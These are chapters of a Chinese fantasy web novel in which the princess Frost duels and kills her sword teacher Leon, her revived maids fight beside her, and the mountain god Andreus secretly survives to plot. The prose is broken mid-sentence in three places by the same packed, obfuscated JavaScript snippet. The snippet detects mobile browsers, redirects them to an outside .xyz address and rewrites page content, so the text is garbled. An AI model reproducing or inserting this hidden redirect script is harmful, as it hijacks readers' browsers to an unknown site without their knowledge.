在这惊天动地的巨响中,忽然,芙洛丝拍拍他的手臂,“你看,咳,起作用了。” 那把剑不再地毯式搜寻,而将攻击范围放在了更高的地方。因为找不到他们的位置,里昂大概认为他们不在一楼,而去了更高的楼层。 “接下来看你的了,拖住那把剑,我去对付里昂。”芙洛丝道。 “凭什么是我?”安德留斯很不满意这样的安排。 当然是你!芙洛丝极不耐烦,张嘴就想骂,但安德留斯说这话的语气和平时不一样。她看过去的时候,安德留斯侧脸雪白,即使有冰雪层层包裹,也能看出他的虚弱,想必是频繁使用能力,透支了他的精神与体力,于是,她换了种口气解释: “因为要是我留在火场里,很容易被你暗算,你将冰雪一撤走,我就死定了。顺带一提,你做得不错。” 安德留斯制造的冰雪防火层是多层的,两层冰雪之间夹的是空气,大大地增强了隔热的能力,不需要她提醒,就能做到这个地步,算她小瞧了原始人的智力。 “表扬完了。我只需要半分钟。”她再度拍了拍安德留斯的肩膀,也许是吊桥效应,也许是这短暂的片刻合作两人很有默契,安德留斯在她眼里暂时没有那么可恶了。哄着他做点事,也勉强可以做到。 “少来。”安德留斯轻笑了一下。 这个笑表示他很受用。 热浪滚滚。 两个人就要在此分手。 眼前是坍塌的城堡,身后是虎视眈眈的另一个【身份者】,两个人都忽然意识到,他们竟然还能走到这一步。 真是不可思议。 不过也没时间细想了,那把剑已搜到了两人身前仅十米的位置。它从上向下,刺了下去。 无需肢体接触,无需言语交流,两个人仅一个眼神就知道了对方的想法:好时机! 他们一直等的就是这一刻! 在被热浪扭曲得变形的空气中,安德留斯将绳子伸向废墟之上,果断地荡了过去。 按照约定,他要用身体拦住这把剑。 他要用这场大火里的第三人拦住这把剑。 “如果你真的打败了里昂,我向你申请休战一天。”安德留斯留下了这句话。 芙洛丝也要抓住这转瞬即逝的瞬间,冲出火场。两人身形错过的一刹那,一种不详的预感漫遍芙洛丝全身。 是…… 芙洛丝猛然回头,只望见了安德留斯耀眼的、镶着金色冰晶的背影。他看起来很虚弱,但身上绝没有【身份者】的气息。 而那一瞬间,她感觉到近处有一股强大的【身份者】的气息喷薄而出。 五百米内,【身份者】就能够感应到彼此的方位。 这个范围内,距离越近,彼此的气息就越是纠缠在一起,大约在一百米之内,就很难分清谁是谁了。 古堡内部燃烧发出的高温和噪音进一步降低了感知,芙洛丝真不确定,那股气息到底是怎么一回事。 是里昂吗? 等她离开这里就知道了。 她循着记忆里来的方向冲出去,留心躲避着周边的燃烧物,去完成属于自己的那一部分任务。大概是安德留斯现在比较虚弱的缘故,她身上的冰雪防火层一下减弱了,没了低温的麻痹,那些剑伤又苏醒了一般开始叫嚣,疼得她差点栽了跟头。 出口处,一道挺拔如剑的身影在等她。 里昂。 他的面前。三个侍女被他逼得步步后退。 因为太靠近燃烧的古堡,她们大汗淋漓。这个距离已经相当危险了。 “还要为你们的主人守着出入口吗?她可能早已葬身火海,抑或是被圣剑所杀死,你们再怎么忠诚,她也看不到了。如果你们还残留了一丝自我意志,就该意识到,你们效忠的对象才是世间最邪恶的存在。” “随你怎么说。”安妮不服输地鼓着腮帮子,“我们不会让你过去。” “即便,我会杀了你们?”里昂的面目隐藏在乱发之下的阴影里,看不真切。 “你不想与我们为敌的,我知道,”碧如此回答,“哥哥。” “住嘴!”里昂忽然激动起来,“你根本不是碧,你不是她,不准喊我哥哥!” “喂。” 熟悉的声音响了起来,一个长发披散的身影自火海中走出。 “里昂,既然你口口声声说我的能力是邪恶的,那么,我们就不用能力,以人的身份,痛痛快快地比一场,怎么样?” 是芙洛丝。 她走出的瞬间,安德留斯所召唤的冰晶也恰好融化殆尽,淅淅沥沥的雪水落在四周,每一滴都辉煌耀眼,蒸腾出嘶嘶的白雾,像是火焰所赐的王座。 她毫发无伤地走了出来,只有影子染上了火焰的颜色。 “你竟然……”里昂眼中闪过惊讶之色。 “我的剑是裁夺一切善恶的圣剑,只要确认了目标,就一定会杀死目标。没有杀死目标之前,它不会停止行动。” 芙洛丝道:“你的目标不只有我一个。” 里昂更为疑惑,皱眉道:“你这是什么意思?” 芙洛丝瞥了一眼安妮手中的弓箭。她还记得安德留斯的大概方位,如果……如果她在外面对着那个位置连射数十箭,说不定能把安德留斯射死。 那样的话…… 就太好了! 芙洛丝心中一狠。 所谓同盟,是只有身处同一困境时才会合作、互相关心的两人。 现在,安德留斯,我的困境已经解除了! 你就死在自己的祖宅里吧! 芙洛丝点了下头,安妮立刻会意,凑了过去,听清公主殿下的耳语之后,她立刻搭弓,向火场中射箭。 咻——咻—— 每一箭都用了十足的力气,毫不怀疑,就算她对准的目标是块石头,这块石头现在也该四分五裂了。箭袋里的箭一下就被射空了。就算安德留斯没有被射中,这些乱箭也可能打落他身边的东西,给他带来麻烦。 “里昂,现在只有我和你了!” 里昂目色沉静,他并不知道火场里发生了什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428054|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我还是很好奇,安德留斯是怎么让那把剑停下来的,不过,如果我并不是只有那一把剑呢?” 等等。 那股强大无匹的【同类】的气息,又来了! 芙洛丝现在确定,那股气息并不是从里昂身上传来的,而是真真切切、从火场里传出来的! 是安德留斯?不、不可能是他。 她侧目望去—— 只见被火光映照得通红的天际,忽然出现了一柱又一柱金色的细长影子,场面太过壮观,一时让人疑心是银河倒挂,星辰垂落。 然而今夜无月。 也无星。 芙洛丝再次轻呼出一口白气的时候,那些金色的影子显示出了它们的模样——剑。 一把又一把、数不清的密密麻麻的圣剑! 这该有多少把剑?成百,还是上千? 原来那股强大的气息不是其他,而是来自于里昂发动的能力……芙洛丝眼中一片炫丽,几乎要望不清眼前景象!那些圣剑一旦成形,便以流星的速度坠落下去。它们的目标,正是这片燃烧的古堡,安德留斯的葬身之处! 她好像听到了安德留斯被万剑穿心的声音,也听到了他脆弱的冰晶外壳被刺穿时,发出的清脆声响…… “芙洛丝,你刚刚说什么来着?”里昂古井无波的声音打断了她的震惊,“你说,要我以凡人的能力和你比试一场?” 芙洛丝忽然觉得喉咙有些发干。 之前的战斗里,她一直有张底牌没有用,那就是她的【仆从】,侍女们。 她可以用【仆从】来挡剑,也可以命令【仆从】去攻击里昂,之所以没有那么做,是她动了恻隐之心:碧,安妮还有碧拉,如果她们有自己的意志,做这样的事,心里会感到痛苦。 可没想到,里昂也有隐藏的底牌。 那样密密麻麻的剑阵……如果她还在古堡里,她也没有自信能在这样的攻击下取得一线生机。 为什么里昂一开始没有用这一招? 因为发动这样的攻击需要时间来蓄力?抑或是如他所说,他只想杀了自己,而不想虐杀自己? 芙洛丝再度抬眸,眼神毫不退让,也没有半分恐惧:“是。” “为什么?”里昂问,“你终于意识到了,自己的能力是有极限的吗?” “不。相反,你说的那些话,我一句也不赞同,”芙洛丝微微侧身,“只是我想告诉你,不管发生什么事,我不会把你变成我的【仆从】,也不会向你低头。我要赐你与我一战的荣誉。如果你觉得败在我的能力之下不甘心的话,我就用人的身份与你对战,让你输得心服口服。” 用【身份者】的身份与他对战,未必有胜的希望。随着时间的流逝,芙洛丝能感受到,自己的状态更差了。 但作为一个普通人,一个一直以来注意锻炼肉.体的普通人,从力量和速度上来说,她未必会输给里昂。 只要她能忍受住这些伤口传来的疼痛…… 更何况,她渴望与里昂·艾德里安一战。 “芙洛丝,”里昂与她对视,深深地、深深地凝视着她,“你没有变。那么——” 他微一抬手,一把圣剑出现在了他的手中,他将那把剑丢给芙洛丝,手中留下的剑的残影又凝成了一把新的剑。 “我给你这个机会。” 芙洛丝握住了剑,剑光将她本就美丽的五官映衬得凛冽无比。 “很好。来吧,里昂,用你的剑,来向我复仇吧!” 21. 抗命者 铮然一声,剑锋相撞! 【身份者】的肉.体强化程度视能力而定,能力越依赖近身搏斗,肉.体的强化程度就越高,从这种程度上来说,里昂是她遇到的所有对手中力量最强、速度最快的。 在正常状态下想要赢他也非易事,何况现在还受了这么多伤。 芙洛丝闷哼一声,将全身的力量倾注于剑锋—— 除了拼命,她没有更好的选择。 那么。 就让这股不要命的疯劲来为最终的胜利增添砝码! 她的力量绝不会逊色于里昂! 谁知里昂像是看透了她的想法一样,剑锋一转,冷刃擦出火花,便“铮”地巧妙地卸了她的劲。 “芙洛丝,你握剑的姿势比那时候标准多了。不错,有进步。可惜,别忘了你的剑法是谁教的。” 剑术不是公主和贵族女性必修的课程,在觉醒之前,芙洛丝一直抱着轻松度日的态度,只学了一点自保的本领,要论剑法,她远不如年纪轻轻便能担当剑术大师的里昂。 即使与帕尔索那一战后,她苦修至今。 “看来结果已经很明显了。”里昂道。 他的剑“噗呲”刺入芙洛丝的肋侧。 好快的剑! 剑锋快如闪电,几乎难以用肉眼捕捉!芙洛丝这才想起,莽撞了。 因为光顾着拼命,自己持剑的姿势略显莽撞。她有破绽,与里昂这样的高手交战,最忌露出破绽。而里昂老师也不会再给她修正这个破绽的机会。 剧痛瞬间麻痹了她的大半边身子,手差点握不住剑! 她感觉有某个东西从她的身体里流出去了,某个很重要的、不能缺少的东西。 那是。 她的生命。 随后眼前一片纯黑,什么都看不见。世界好像在颠倒。然后,她感到身体居然不受控制地旋转了起来。 “殿下!” “殿下!!”有人在喊叫。 一阵疾风。 刚猛的、强健的疾风将她的听觉和意识都刮了回来,一股脑儿地塞进了她的身体里,大脑涨得发疼,完全失去了思考的能力。好一会儿,她才看见了天空和大地。 怎么会这样呢? ——她被里昂的剑串了起来,在空中旋转了整整一周,然后才重重地率下来。 之前没注意,现在才发现。 天要亮了。 长夜的车辇辘辘地驶过了天际,黑色在褪去,天空变成了浅淡的蓝灰色,一束光芒正从东边冉冉升起。 脚步声响起。 脚步声近了。 里昂走了过来,脚步声停在她的手边。 “……”他似乎说了什么,她听到了,但一时不明白那是什么意思。她只感觉那缕柔和的浅金色光芒撩拨着她的眼皮,像母亲的手指,不让她闭眼。她连痛苦都感受不到了。 所以,里昂说了什么呢? 他说:“芙洛丝,你不能让自己的弱点暴露在人前,这样,你是没有办法做到你想做的事的。” 芙洛丝。 芙洛丝,你不能。 芙洛丝,你不能让自己—— 芙洛丝明白了。 她的手指忽然动了起来,手中的剑以极快的速度刺了出去。噗呲一声,鲜血飞溅,里昂发出一声痛苦的嚎叫。 他俯下身子,手颤颤巍巍,想把那剑从小腿上拔出来。 “您……”芙洛丝喘着粗气,双目涣散,手中却仍然紧握着剑,用力地、毫不放松地刺下去,“您……您还教过我,永远、永远……不要对你的对手掉以轻心……您……难道忘了吗?” 芙洛丝真想笑,看来第一次交手,我们都有输有赢啊。 但是她已经用完所有的力气了。她急促地呼吸了两下,摸索着按住了流血的伤口。她知道,不管【身份者】的肉.体强度多强悍,都不能再流血了。再失血,恐怕…… 她强撑着站了起来,感觉到自己的双腿都在疯狂颤抖,她看向里昂,他看自己的目光变了,他好像在自己的身上看到了什么从来没见过的东西,眼神变得很耐人寻味。芙洛丝觉得,他的目光是带着赞赏意味的。他的身形被笼罩在阴影之下—— 三个侍女的阴影之下。 她们拿着从安德留斯城堡里搜出来的剑、刀、斧子,一齐向里昂砍去! “住手!这是我和里昂的决斗,我什么时候给过你们命令,让你们攻击里昂?!”芙洛丝扯着喉咙喊,第一个字吐出的片刻,腥甜味就从喉咙里涌了上来。她疯狂地咳嗽。血沫从嘴角溢了出来。 而里昂转动手腕,仅用剑背就将三个人拍飞了出去,“我不想节外生枝。退下。” 她们的攻击,不堪一击。 但,不屈不挠。 安妮在雪地上“砰”地摔出个大坑,又立刻爬了起来,因为动作太快,她的手和脚呈现出完全不属于人类的扭曲姿态。但她还没有碧拉的动作快,碧拉已经再度冲向了里昂。她的双眼红得像兔子。 “够了——”芙洛丝言尽于此,她的体力已经不再支持她喊出第三个字,她还没有明白这是怎么一回事。 她们像完全失控了一样。 里昂已经将腿从剑锋上拔了出来,他低吼一声,再次挥剑,这一次,他没有留情,仅一剑就斩断了碧拉的右手。 那只苍白的右手像失翼的飞鸟一样,在芙洛丝的眼前急剧下坠。 她感觉自己的心也坠了下去,她不明白,为什么? 为什么她已经下了命令,碧拉还要往前冲?为什么?更她眼睁睁地看着碧拉摔倒,被一脚踹飞,又怒吼着再度发起冲锋。 不只是她,还有安妮,碧。她们都在发动攻击。 退下!退下!芙洛丝在心里大叫。 她们的攻击虽然迅猛,但丝毫不顾及自身的安危,而对于里昂这样顶级的剑客来说,这样的攻势无异于自杀。 里昂不动如山:“据我所知,碧拉是个见到血都会昏迷的文弱女子,而现在她失去了一只手,仍然敢于向敌发出挑战。芙洛丝,你明白了吧?” ——你的能力把她们的天性都扭曲了,你的能力是多么邪恶啊。 ——这样邪恶的你,还有脸面苟活于世间? “殿下。” 碧拉的声音依然是毫无波澜的、不自然的活死人的腔调,“我有我自己的心。” 她的眼睛却不知道出于什么原因,变得亮闪闪的,“就算您不下命令,我也明白,您消失了,我们也会跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428055|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起消失。我不单是为了保护你在战斗,我也是为了我自己在战斗。” 雪亮的剑光一闪,她的头颅被砍了下来。 咚。 咚、咚! 三个头颅。里昂抖落了剑尖上的血,他这个人似乎比他的剑还要锋利,还要冷。 “芙洛丝,你又露出了你的弱点。” “给我回到我的身边来!”芙洛丝在心里呐喊。血泪齐流。她什么都管不上了。 死亡、死亡、死亡、无休止的死亡……这一幕和帕尔索那时简直一模一样。 天呐,不要这样…… 我只要她们回到我的身边来! 【公主】的能力发动了—— 那是极端骇人的一幕。 地上的断手、头颅飞向原先的尸体,转瞬之间,她们三个又摇摇摆摆地立了起来。尽管断痕依然存在,但她们的眼睛已能转动,手指也能活动。 里昂眯起眼睛,“这个时候还不醒悟么。” “你、你以为……”芙洛丝断断续续地说着,她的声音嘶哑得像破风箱,听起来完全不像原本的声音。 “只有你所行的道路是对的吗!” 她每个字都沾着黏腻的声响,血从下巴淌下来,滴滴答答。她的眼神完全疯狂了,“里昂,你觉得我邪恶无比,对吗?那么,我告诉你,将她们变成这样并非我的本意!成为【公主】也并非我的本意!你以为我向你提出决斗是犯蠢,是送死,对吗!不,我正是为了反抗降临到我身上的这样的命运,才向你发起决斗!” “我的【身份】只能由我自己决定!我绝不成为那个声音的傀儡!我要杀光所有的同类,去找到祂的藏身之处,如果你要挡在我的路上,我也会杀了你!如果我死在这里,说明我的意志不过如此,但现在,我还没有倒下,我的意志也还没有倒下——!!” “我要证明给你看,我是对的,我不会输给你!!” 这番话说得又快、又癫狂、又含糊不清,但里昂听清了,他的眼中闪过一抹奇异的光。 “很好。” “那么,就由我来给你上最后一课吧。” 他用手中的剑指了下芙洛丝。他现在就可以杀死芙洛丝,但他在等她站起来。 “如果你想要走到最后。” 三个侍女复活后,又向他扑了过来,里昂眉目一凛,唰唰唰,运剑如虹。 “就不能有任何弱点。” 她们死亡,又复活。复活,又死亡。芙洛丝再看不下去了,喉咙里发出一声类似兽类濒死时的惨呼。 愤怒,悲伤,仇恨,绝望……种种情绪在心中激荡!芙洛丝凭着这一口气,再度站了起来! 她的眼睛有薄薄一层泪幕。眼泪在汇聚,但没有流下。 “很好,”里昂潇洒地转了下手中的剑,“我会杀死站着的你。” 芙洛丝低吼着,也举起了手中的剑。她站起来已是个奇迹,能握住手中分量不轻的剑,再发起攻击,更是奇迹中的奇迹! “你成长了很多。”里昂也举剑相向,以无上的敬意和钦佩,将剑尖对准了芙洛丝的心脏。 芙洛丝满是破绽。 她没有选择防卫,她选择用同样的姿势,向里昂的心脏发起进攻—— 22. 高升日 太阳一下就升起来了。 万丈的金光,从没有一丝云翳的纯净天空中射了出来,雪山被映照得金碧辉煌。 幽蓝色的阴影被赶进夜幕,白昼驱走了长夜。整个雪山的影子都在倒退。 整个世界像着火了一样。 鲜红的,赤金的,橘红的,芙洛丝整个视野里都是这样疯狂跳动着的颜色。她的剑刺进了里昂的胸膛,里昂的剑也刺进了她的胸膛。血顺着剑尖流下,流成两道哀伤的河流。 侍女们再度被芙洛丝的愿望所复活。她们仍然想救助自己的主人,但也被这种景象震撼住了。 碧拉眼睛中涌出了眼泪,她跌跌撞撞地,想过去,被碧拦下。安妮在啜泣。 碧说:“你们看。” 芙洛丝嘴唇惨白,冷汗和血将她打得湿漉漉的,整个人像从冥河里刚爬出来一样。她的脸部肌肉抽搐着,唇齿之间飘出来的气息已没有了温度。 她忍受着巨大的痛楚,仍没有放弃。 她在将剑一点点刺进里昂的心脏。 每进一分,里昂的剑尖也就前进了一分。 两败俱伤。 里昂的脸庞一点点失去了色彩,他的手在颤抖,眼神却变得欣慰而柔和。 “芙洛丝……你……是很出色的学生……” 他的眼珠呆滞地转向自己的剑,又转向自己的胸膛。他既没有选择前进,也没有选择后退。 “我见到了……” 什么? 最后那个字没有说出口,但是芙洛丝从他的唇形看清了。 他说的是—— 一道神圣而威严的金光从里昂的胸膛中涌现出来。是里昂的那把剑。它从火场中飞了回来!它受到感召,特来保护自己的主人! 然而里昂摇了摇头,“我输了。” 他拒绝了圣剑的保护! 芙洛丝愕然地看着他,他站立着,头颅在细细颤抖,象征艾德里安家族血脉的棕色头发在无声的曙光中飘动,垂下! 他的膝盖才弯了一下,就固定住了。 他以一个坚强不屈的姿势,一只腿的膝盖微弯,一只腿站得笔直。 他没有倒下! “芙洛丝,”他的嘴角抽动了一下,似乎是想微笑,芙洛丝看得出来,那大概是一个非常、非常温柔的笑,“看来,你比我更有资格走下去。” 他的声音依旧沙哑,却变得很轻很轻。 “你……”一大口血从喉咙里涌了出来,里昂的牙齿被洗得雪白,齿缝则留下了一线又一线不详的深色。 “你很强……很好。碧……和我说过,芙洛丝·费尔奇尔德殿下是她最出色的学生……她说……你看起来调皮任性……骨子里,却是个好孩子……她说,你经常有很多稀奇古怪,别人不曾有过的想法……她说,你是能改变整个世界的那种女性……芙……洛丝……我教你的时间不长……但……你确实是最有天资……最出色的……” 芙洛丝只顾看着他的嘴唇,他的牙齿。 太阳的光芒太耀眼了。她看不清。 “你说的那个声音……我见到过……神明……是真实存在的……” 里昂的眼皮缓缓地闭了下去。 “救他!去救他!”芙洛丝已经说不出话,这一切都是心声,她泪眼朦胧地瞪视着里昂,“里昂,你已经输了,你不准再阻拦我!是的,我耍了诡计,我赢得不光彩,但我还是赢了!你必须承认自己的失败,以后再也不准阻拦我,你听到没有!” 里昂的剑刺得没有她的深。 因为他的剑尖刺中了一截金属。他的剑洞穿了金属,但也因此而受阻,毫厘之差,失之千里,所以,这场对决中他输了。 里昂不知道是懂了,还是没懂,只见他的睫毛颤抖了一下,眼神更柔和了。 “那个神明……是真实存在的……芙洛丝……去吧……去反抗你的命运……去反抗……神……我的意志……会跟随你……” 芙洛丝不能再无动于衷,她“哗啦”一声撕破衣襟,脖颈上青筋条条暴起。 看啊。她在心里痛苦地呼号。我耍了诡计! 你没有输给我! 她的胸前,赫然是从城堡里带出来的安德留斯的画像。画像收在相框里,而每一道边框都镶着分量十足的金属花边。 里昂的剑尖正是刺中了其中的一条边框。 原来是这样。她想象着里昂眼神闪动,神采和骄傲再度回到那双艾德里安的浅蓝色眼珠里,然后,再度振作起来。 他也许会哭笑不得,原来我是输给了这样的东西。 他也许会一蹶不振,好吧,输了就是输了,芙洛丝,我不会再挡你的路了。 但里昂只是从喉咙里发出了一声短促的气声。 “芙洛丝,从现在起,你不再有弱点了。” ——这是芙洛丝从他的嘴型中读出来的。 他向前半步。 让剑尖更深、也更彻底地刺穿了他的心脏! 不—— 不不不不不—— 芙洛丝松开手,期待那把剑就这么滑下来,哐啷砸在地上。然而跪坐在地上的只有她一人。她绝望地看着眼前的景象,万念俱灰。 不不不…… 那把剑插在里昂心脏的位置,就像天生长在那里的一样。 里昂以一个标准到完美的姿势向前挥剑,他的手臂如钢铁铸就,紧紧地握着剑,纹丝不动。 他的眼睛半睁半闭,睫毛温顺地垂着,脸上是平静的微笑。他的嘴唇还微张着,似乎还有话想对自己说…… “没救了。殿下,他已经断气了。”不知道是谁,这么说道。 里昂死了。 然而还保持着挥剑的姿势。 他矗立着,即使心脏上还插着那把剑。 风又起。微风也轻柔地吹拂着这位不屈的剑士,像在为他颂歌,呜——呜—— 如泣如诉。 太阳完全升起来了。 …… 直到碧拉和安妮前来为自己包扎伤口,轻声着让她松开拳头时,她才发现,全身麻木得没有知觉了。她无意识地张开手掌,手心处又出现了和那时一模一样的东西。 一个小小的玻璃瓶,里面盛着金色液体。 打败帕尔索的时候,也出现过这样的东西。 她捏碎了那瓶子,金色的液体沁入掌心纹路,很快就消失了。连那玻璃碎片,也慢慢地消失在了阳光之中。 然后,她感到生命又回到了自己的身体内。 “殿下……你……”“殿下……”“殿下,我们……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428056|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着碧拉和安妮的话,她还很茫然。 碧呢? 碧·艾德里安呢? 她的脸被强光所吞没,芙洛丝看不清她的表情。她从背后抱着里昂,将头埋在里昂宽阔的背上。她的棕发被风吹动。 芙洛丝心里一阵钝痛,她张了张口,努力了好一会儿,才发出声音来:“碧,你自由了。” “你……可以随你的心意,在山上守护里昂,或是……埋葬他。” 碧没有回答她。 安妮问:“殿下,那我们呢?” “我们,下山。” 芙洛丝垂下眼帘。在那个声音所赐下的规则里,【身份者】们就该彼此厮杀至死,【身份者】死后留下的奇异小瓶正是证据。芙洛丝从那个小瓶里得到了治愈,尽管身体还在流血,但致命的伤口被治好了,譬如,被里昂的剑刺中的心脏。 “我们要回王都迎战,杀死那个大肆屠杀平民的【身份者】。” 她喃喃:“里昂,你说得对,从现在起,我没有弱点了。” 风继续吹,不断地发出呜呜的声响。 她打发碧拉和安妮先下山为自己寻一些止血的药品,自己则坐在山上,和碧默默无言,两相对立。 里昂死了,艾德里安姓氏中最耀眼的天才陨落了。 连同碧·艾德里安已死的心一起。 可芙洛丝还要往前走。 她要将这条不断失去的路走到底! 一边的废墟,安德留斯。 火还在烧,但在太阳炽烈的光焰下,已失去了张牙舞爪的本领。 安德留斯被箭矢钉在废墟之中,又被一千把圣剑洞穿了躯体。他的血流干了,美丽的眼瞳都覆上一层了无生气的灰白。 四周的火焰不知是畏惧他【山神】的躯体,还是凑巧,总之,都绕开了他的身体。 “主人,需要我帮你杀了她吗?”一个只有他能听到的女人的声音,问道。 “她现在很虚弱,身边又没有人保护,并且对我毫无防备。” 事实上,安德留斯并没有死彻底。 身为【山神】,雪山就是他躯体的一部分,不然,他也不会为了芙洛丝留在燃烧的古堡之内,活着挡下了那把圣剑。 ——那把剑在追踪目标的时候,既不被看见,也不能被阻拦,只有在即将接触到目标的时候,才会显露本体。而等它接触目标,它的剑锋往往已经刺中了目标的要害。 他和芙洛丝正是利用这一特性,在剑刺向大地显形的那一瞬间,握住了它! 因为大地也是安德留斯的一部分。 而里昂的剑在什么情况下才会刺向大地? 那把剑不傻,里昂也不傻,所以他和芙洛丝在火场中大闹,将大部分建筑的本体震落下来,伪造出一种他们可能跌入火海的假象。 那把剑试探性地往下刺的时候,安德留斯如芙洛丝所愿,死死地握住了剑把,不让它再度行动起来。 没想到芙洛丝翻脸不认人,命令侍女射死了他。 这个坏女人。 那个声音又在问了:“主人,我帮你杀死她吧?” “您会再度走上生命的轮回,慢慢恢复,直至再度变成安德留斯的形象,而那女人将长眠雪山。主人,请把握机会,给我命令吧!” 23. 理想棋 “嗬……嗬……”已死的安德留斯嘴角溢出一口白气。 霜花从他早已泛白的嘴唇里开放出来,寒气冻结了柔软唇瓣上的每一条细纹,四处蔓延。 “我说。”安德留斯说道。他以心声跟这个女人沟通。 “你不觉得她是那种会让好人和坏人都喜欢的人吗?” 那女人沉默了。她花了片刻的功夫才明白,主人这么说,其实是在问自己喜不喜欢芙洛丝·费尔奇尔德。 她说:“我只会喜欢您让我喜欢的,厌恶您让我厌恶的。我是你生命的参天大树中,一片微不足道的新芽,所以给我命令吧,主人!让我为您所用,为您截取阳光,承受雨露!” 安德留斯似乎笑了一下。 “我不杀她。” “为什么?” 女人震撼了,不可置信地问:“现在,正是最好的时机……虽然我相信以主人的伟力,杀死芙洛丝·费尔奇尔德不在话下,但,如果有这么好的时机能让一切变得轻松简单,为什么……为什么不试一试呢?” “因为,我要她作我的王棋。” 安德留斯慢条斯理地道:“【公主】这个身份天生就是要让所有人喜欢她的,好人、坏人都会喜欢她,具有这个身份的芙洛丝,毫无疑问是我棋盘中的最佳人选。她的所有表现,都证明了,她有着王棋所需要的所有资质。难道你以为我在雪山的五百年,只在想着如何变成更好的【山神】么?” 以女人当前的认知,理解不了安德留斯说这话的深意。 她继续沉默。 安德留斯忽然道:“我好像突然想明白了,她的能力是如何发动的。” 女人仍然不明白,因为安德留斯只是在自说自话,并没有把“认知”或是“智慧”传达给她。“所以,我能为您做些什么?” “把她给我带过来。” 天空中又开始飘雪。里昂身上很快披拂了一层毛茸茸的雪白,碧一直静静地抱着他,什么话也没有说。 碧拉和安妮回来了,她们很有默契地绕过了雪中的艾德里安兄妹,什么话也没有说,来到芙洛丝的跟前。她们带来了酒和药。 安妮用小手摸了摸芙洛丝的额头,“殿下,你的体温正在流失。” 事情比想象中更糟糕,那个奇异小瓶和芙洛丝超强悍的体质加在一起,还是没能有效阻止伤情的恶化。毕竟芙洛丝这次实在是伤势惨重,她急需有效的外伤处理和药物救助。 芙洛丝却睁开眼睛,皱了皱眉头:“是么?我感觉精神还不错。” 她感觉自己刚睡了长长的、安稳的一觉,一个梦也没有做。睁开眼,天空是如此辽阔、澄澈,雪山就在眼前绵延、起伏。 “不过你们说得对,雪山不是养伤的好地方。” 她接过碧拉递过来的酒壶,喝了一口。从口腔到喉咙、再到胃里,全都火烧火燎地热了起来,快要冻僵的身体也好受不少。 安妮开始为她处理伤口,她用撕下的裙子布条当绷带,更为稳妥、慎重地包扎了一遍。 太阳快要移到三个姑娘的头顶时,一切处理完毕。碧拉搀着芙洛丝,准备和安妮一道下山了。 雪在脚下嘎吱作响。她们和碧擦身而过,没有回头。 安妮和碧拉都咬着嘴唇,一脸低落。 这是一直陪着她,见证她成长的碧·艾德里安啊。 走出十几步的时候,芙洛丝实在抑制不住内心的情感,回头了。 “碧……” “殿下!”碧忽然带着哭腔呼唤了她的名字,“芙洛丝殿下!” 她的肩膀抖个不停,不停地用手去擦拭眼睛,金色的长发由此变得乱糟糟的。 “芙洛丝殿下,我选择跟随你的脚步,走到命运的尽头!请……请不要抛下我。” 安妮和碧拉大受触动,她们颤抖地抬起头,用闪亮亮的眼睛望着芙洛丝,无声地诉说着她们有多想让碧回来。安妮牵着她的袖子,轻轻地摇晃,语气明显激动起来,“殿下,拜托了……” 碧拉也双手合十,放在下巴处,她的眼睛瞪得圆圆的,“殿下。” 芙洛丝深吸了一口气。 “碧·艾德里安,你确定,这就是你的选择吗?” 碧声音沙哑:“我确定。” “即使我会命令你做一系列你不想做的事,即使我会做一系列你不想我去做的事,即使在我的眼中,你们只是完成任务的工具,你也要追随我吗?” 碧重重地点着头,“我确定!” 她的双眼依旧呆滞,但其中却出现了一些很不一样的感情,她的表情和被帕尔索杀死之后再度站起来那时逐渐重合。 平静而茫然,却又带着炙热的期待。眼泪在她年轻的脸庞上放肆流淌。 “即使,”芙洛丝艰难地说着接下来的字句,“我杀了你的哥哥?” “殿下,那也是哥哥自己的选择。如果他都承认了你的理想,那么,我更将接过他的意志,成为您的矛,您的盾。其实,我很感谢您,能让我再度行走在太阳下。” 芙洛丝再没有办法拒绝她了。 “那么,碧,”芙洛丝想尽力扯出个微笑,结果却是笑中带泪,“欢迎你回到我的身边来。” 安妮小小地欢呼了一声,跑过去抱住碧。碧拉也抱住了她。三个侍女抱在一起,金色的头发彼此纠缠,她们都在为这次重逢感到感激。 “那么,我们来埋葬里昂·艾德里安吧。” “嗯,”碧吸了吸鼻子,眼眸低垂,掩盖住不自然的表情,“还有哥哥的剑。艾德里安家族的圣剑。” 芙洛丝这才想起来,那把艾德里安家族祖传的圣剑还没有收回。被里昂拒绝之后,它回到了哪里呢? 答案毋庸置疑,当然是回到了废墟之中、安德留斯的尸体上。 安妮说:“碧,我去帮你把那把剑取回来。” 碧:“这……”她似乎有话要说。 然而芙洛丝已经点了头,她嘱咐安妮道:“要小心。” 